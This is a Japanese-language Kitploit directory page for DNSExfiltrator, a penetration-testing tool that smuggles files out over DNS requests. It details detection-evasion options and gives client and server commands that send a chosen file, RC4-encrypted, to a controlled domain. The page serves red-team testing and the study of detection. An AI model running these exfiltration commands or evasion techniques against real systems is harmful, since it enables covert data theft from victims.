Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DNSExfiltrator — DNSリクエストの隠蔽チャネルを介したデータ流出 | Kitploit
ツール/GitHubGitHub/arno0x/dnsexfiltrator
データ流出ペネトレーションテストレッドチーミングDNS分析
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

DNSリクエストの隠蔽チャネルを介したデータ流出

リポジトリを見る
88419038年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DNSExfiltrator

作者: Arno0x0x - @Arno0x0x

DNSExfiltratorは、DNSリクエストの隠蔽チャネルを介してファイルを転送(外部への転送)することを可能にします。これは基本的に、隠蔽チャネルを介してデータを外部に漏洩させるためのデータ漏洩テストツールです。

DNSExfiltratorには2つの側面があります:

  1. サーバーサイド:単一のPythonスクリプト(dnsexfiltrator.py)として提供され、カスタムDNSサーバーとして機能し、ファイルを受信します。
  2. クライアントサイド(被害者側)は、3つのバージョンで提供されます:
  • dnsExfiltrator.cs:csc.exeでコンパイルしてWindowsマネージド実行可能ファイルを生成するC#スクリプト
  • Invoke-DNSExfiltrator.ps1:dnsExfiltratorアセンブリをラップして全く同じ機能を提供するPowerShellスクリプト
  • dnsExfiltrator.js:DotNetToJScriptを使用してdnsExfiltrator DLLアセンブリを変換したJScriptスクリプトで、全く同じ機能を提供します

全体を機能させるためには、ドメイン名を所有している必要があり、そのドメインのDNSレコード(NS)をdnsexfiltrator.pyサーバーサイドを実行するサーバーに向けるように設定する必要があります。

特徴

デフォルトでは、DNSExfiltratorはシステムで定義されたDNSサーバーを使用しますが、特定のDNSサーバーを指定して使用することもできます(たとえば、デバッグ目的やサーバーサイドをローカルで実行する場合に便利です)。

あるいは、hパラメータを使用すると、DNSExfiltratorはGoogleまたはCloudFlareのDoHサーバーを使用してDoH(DNS over HTTP)を実行できます。

デフォルトでは、外部に転送されるデータはDNSリクエストに収まるようbase64URLエンコードされます。しかし、一部のDNSリゾルバーは、大文字小文字の区別(大文字または小文字)を乱すことにより、このエンコーディングを壊す可能性があります(FQDNは大文字小文字を区別すべきではないため、当然のことです)。これはエンコード/デコードプロセスにとって明らかに重要です。この問題を回避するために、-b32フラグを使用してデータをBase32エンコードに強制することができます。これにより若干のサイズオーバーヘッドが発生します。CloudFlare DoHを使用している場合、base32エンコーディングが自動的に適用されます。

DNSExfiltratorは、外部に転送されるデータの基本的なRC4暗号化をサポートしており、指定されたパスワードを使用してデータを暗号化/復号化します。

DNSExfiltratorは、検出を回避するためのいくつかのオプション機能も提供します:

  • データを外部に転送する際にステルス性を高めるためのリクエストスロットリング
  • DNSリクエストサイズの削減(デフォルトでは効率性のために各DNSリクエストで利用可能な最大バイト数を使用しようとします)
  • DNSラベルサイズの削減(デフォルトではサポートされている最大ラベルサイズである63文字を使用しようとします)

依存関係

依存関係はサーバーサイドのみで、dnsexfiltrator.pyスクリプトは外部のdnslibライブラリに依存しています。pipを使用してインストールできます:

root@kitploit:~
pip install -r requirements.txt

使用方法

サーバーサイド

dnsexfiltrator.pyスクリプトを起動し、使用するドメイン名と復号化パスワードを渡します:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

クライアントサイド

コンパイル済みバージョンを使用するか、PowerShellラッパー(基本的に同じものです)またはJScriptラッパーを使用できます。いずれの場合もパラメータは同じで、PowerShellでの渡し方にわずかな違いがあります。

1/ C#コンパイル済みWindows実行可能ファイル(releaseディレクトリにあります)を使用する場合:

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [MANDATORY] The file name to the file to be exfiltrated.
      domainName:     [MANDATORY] The domain name to use for DNS requests.
      password:       [MANDATORY] Password used to encrypt the data to be exfiltrated.
      -b32:           [OPTIONNAL] Use base32 encoding of data. Might be required by some DNS resolver break case.
      h:              [OPTIONNAL] Use Google or CloudFlare DoH (DNS over HTTP) servers.
      DNS_Server:     [OPTIONNAL] The DNS server name or IP to use for DNS requests. Defaults to the system one.
      throttleTime:   [OPTIONNAL] The time in milliseconds to wait between each DNS request.
      requestMaxSize: [OPTIONNAL] The maximum size in bytes for each DNS request. Defaults to 255 bytes..
      labelMaxSize:   [OPTIONNAL] The maximum size in chars for each DNS request label (subdomain). Defaults to 63 chars.

2/ PowerShellスクリプトを使用する場合、好きな方法で呼び出してください(powershellスクリプトを呼び出す方法はたくさんあるでしょう)。スクリプトパラメータとともに。最も基本的な例:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

詳細な使用例については、スクリプトファイルのEXAMPLESセクションを確認してください。

3/ JScriptスクリプトを使用する場合、スタンドアロンのWindows実行可能ファイルとまったく同じ引数を渡します:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

または、オプション付き:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

TODO

  • RC4の代わりにAES暗号化を求める声もあるでしょう、わかっています...後で追加するかもしれません
  • 推定転送時間の表示
  • 引数解析を改善する(C#の引数解析ライブラリの使い方を学ぶのが面倒で、Pythonのように簡単であればいいのにと思います)

免責事項

このツールは、合法的かつ正当な方法でのみ使用することを意図しています:

  • 自分のシステムで、学習手段として、何がどのようにできるかを実証するため、または防御・検出メカニズムをテストするために使用する
  • 公式かつ正当にセキュリティ評価(ペネトレーションテスト、セキュリティ監査)を実施する権限を与えられたシステムで使用する

Empireの作者の言葉を引用: 正当な情報セキュリティ業界に有用な攻撃ツールを構築しながら、同時に悪意のある攻撃者による悪用を防ぐ方法はありません。

ツールをダウンロード